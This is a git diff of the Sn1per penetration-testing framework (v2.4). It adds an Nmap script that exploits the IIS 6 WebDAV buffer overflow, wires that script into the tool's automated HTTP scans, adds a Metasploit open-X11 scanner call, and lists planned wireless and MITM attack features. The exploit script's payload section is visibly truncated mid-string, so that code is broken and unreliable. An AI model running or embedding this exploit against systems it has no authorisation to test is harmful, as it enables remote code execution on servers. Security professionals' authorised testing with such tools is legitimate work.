diff --git a/CHANGELOG.md b/CHANGELOG.md index a7ed6b0..713d478 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,7 @@ ## CHANGELOG: +* v2.4 - Added detection for open X11 servers +* v2.4 - Added IIS6 Win2k3 RCE NMap script +* v2.4 - Added option to disable Google Hacking queries via Firefox * v2.3d - Fixed issue with loot command * v2.3c - Added Apache Struts 2 RCE NMap script * v2.3c - Added Apache Struts 2 RCE NMap exploit @@ -141,3 +144,7 @@ ## FUTURE: * Add auto logging and reporting to all scans +* Add HTML reporting for scans +* Add automated Wireless attacks to Sn1per +* Add automated MITM attacks to Sn1per +* Add web mode port option for customized web scans diff --git a/bin/iis-buffer-overflow.nse b/bin/iis-buffer-overflow.nse new file mode 100644 index 0000000..744ee6d --- /dev/null +++ b/bin/iis-buffer-overflow.nse @@ -0,0 +1,181 @@ +local nmap = require "nmap" +local string = require "string" +local shortport = require "shortport" +local vulns = require "vulns" + +-- NSE Buffer Overflow vulnerability in IIS + +--- +-- @usage +-- ./nmap iis-buffer-overflow +-- +-- @output +-- PORT STATE SERVICE +-- 80/tcp open http +-- | iis-buffer-overflow: +-- | VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2 +-- | State: LIKELY_VULNERABLE +-- | Risk factor: High CVSS: 10.0 +-- | Description: +-- | Buffer overflow in the ScStoragePathFromUrl function in the WebDAV +-- | service in Internet Information Services (IIS) 6.0 +-- | in Microsoft Windows Server 2003 R2 allows remote attackers to execute +-- | arbitrary code via a long header beginning with "If: ' + payload = payload .. ' (Not ) \r\n\r\n' + + -- Exploiting the vulnerability + try(socket:send(payload)) + + -- We receive a 200 response if the payload succeeds. + response = try(socket:receive_bytes(80960)) + socket:close() + + -- Checking for 200 response in the response + local regex = "HTTP/1.1 (%d+)" + local status = string.match(response, regex) + + if status == '200' then + -- Buffer overflow is successfully executed on the server. + vuln.state = vulns.STATE.EXPLOIT, + vuln.exploit_results = response + elseif status == '400' then + -- Bad request error is occured because webdav is not installed. + vuln.state = vulns.STATE.LIKELY_VULN, + vuln.exploit_results = "Server returned 400: Install webdav and try again." + elseif status == '502' then + -- Likely to have an error in the Server Name + vuln.state = vulns.STATE.LIKELY_VULN, + vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again" + elseif status ~= nil then + vuln.exploit_results = response + end + + return vuln_report:make_output(vuln) + +end + diff --git a/install.sh b/install.sh index be6aec4..ce98f58 100644 --- a/install.sh +++ b/install.sh @@ -65,6 +65,7 @@ git clone https://github.com/drwetter/testssl.sh.git git clone https://github.com/lunarca/SimpleEmailSpoofer git clone https://github.com/arthepsy/ssh-audit wget https://svn.nmap.org/nmap/scripts/http-vuln-cve2017-5638.nse -O /usr/share/nmap/scripts/http-vuln-cve2017-5638.nse +cp $PWD/bin/iis-buffer-overflow.nse /usr/share/nmap/scripts/iis-buffer-overflow.nse echo -e "$OKORANGE + -- --=[Setting up environment...$RESET" cd $PLUGINS_DIR/Findsploit/ && bash install.sh cd $PLUGINS_DIR/BruteX/ && bash install.sh diff --git a/sniper b/sniper index edb03ca..a758cbe 100644 --- a/sniper +++ b/sniper @@ -32,7 +32,7 @@ # sniper loot # -VER="2.3" +VER="2.4" TARGET="$1" MODE="$2" OPT1="$3" @@ -65,6 +65,10 @@ AUTOBRUTE="1" # DEFAULT IS "1" (ENABLED) FULLNMAPSCAN="1" +# ENABLE/DISABLE AUTOMATIC GOOGLE HACKING QUERIES +# DEFAULT IS "1" (ENABLED) +GOOHAK="1" + cd $INSTALL_DIR function loot { @@ -838,7 +842,7 @@ else then echo -e "$OKGREEN + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +$RESET" echo -e "$OKGREEN + -- ----------------------------=[Running NMap HTTP Scripts]=--------------- -- +$RESET" - nmap -A -sV --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -T5 -p 80 --script=http-enum,http-headers,http-server-header,http-php-version,http-iis-webdav-vuln,http-vuln-*,http-phpmyadmin-dir-traversal $TARGET + nmap -A -sV --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse -T5 -p 80 --script=http-enum,http-headers,http-server-header,http-php-version,http-iis-webdav-vuln,http-vuln-*,http-phpmyadmin-dir-traversal $TARGET echo -e "$OKGREEN + -- ----------------------------=[Running Directory Brute Force]=----------- -- +$RESET" dirb http://$TARGET echo -e "$OKGREEN + -- ----------------------------=[Running Wordpress Vulnerability Scans]=--- -- +$RESET" @@ -870,8 +874,12 @@ else if [ $SCAN_TYPE == "DOMAIN" ]; then - echo -e "$OKGREEN + -- ----------------------------=[Running Google Hacking Queries]=--------- -- +$RESET" - goohak $TARGET > /dev/null + if [ "$GOOHAK" = "0" ]; then + echo -e "$OKGREEN + -- ----------------------------=[Skipping Google Hacking Queries]=-------------------- -- +$RESET" + else + echo -e "$OKGREEN + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +$RESET" + goohak $TARGET > /dev/null + fi echo -e "$OKGREEN + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +$RESET" php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt rm -Rf output/ cookie.txt exploits.conf @@ -1025,7 +1033,7 @@ else if [ "$MODE" = "web" ]; then echo -e "$OKGREEN + -- ----------------------------=[Running NMap HTTP Scripts]=--------------- -- +$RESET" - nmap -A -sV --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -T5 -p 443 --script=http-enum,http-headers,http-server-header,http-php-version,http-iis-webdav-vuln,http-vuln-*,http-phpmyadmin-dir-traversal $TARGET + nmap -A -sV --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse -T5 -p 443 --script=http-enum,http-headers,http-server-header,http-php-version,http-iis-webdav-vuln,http-vuln-*,http-phpmyadmin-dir-traversal $TARGET echo -e "$OKGREEN + -- ----------------------------=[Running Directory Brute Force]=----------- -- +$RESET" dirb https://$TARGET echo -e "$OKGREEN + -- ----------------------------=[Running Wordpress Vulnerability Scans]=--- -- +$RESET" @@ -1063,8 +1071,12 @@ else then if [ -z $GHDB ]; then - echo -e "$OKGREEN + -- ----------------------------=[Running Google Hacking Queries]=---------- -- +$RESET" - goohak $TARGET > /dev/null + if [ "$GOOHAK" = "0" ]; then + echo -e "$OKGREEN + -- ----------------------------=[Skipping Google Hacking Queries]=-------------------- -- +$RESET" + else + echo -e "$OKGREEN + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +$RESET" + goohak $TARGET > /dev/null + fi echo -e "$OKGREEN + -- ----------------------------=[Running InUrlBR OSINT Queries]=----------- -- +$RESET" php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt rm -Rf output/ cookie.txt exploits.conf @@ -1241,6 +1253,7 @@ then else echo -e "$OKORANGE + -- --=[Port 6000 opened... running tests...$RESET" nmap -A -sV -T5 --script=x11* -p 6000 $TARGET + msfconsole -x "use auxiliary/scanner/x11/open_x11; set RHOSTS "$TARGET"; exploit;" fi if [ -z "$port_6667" ];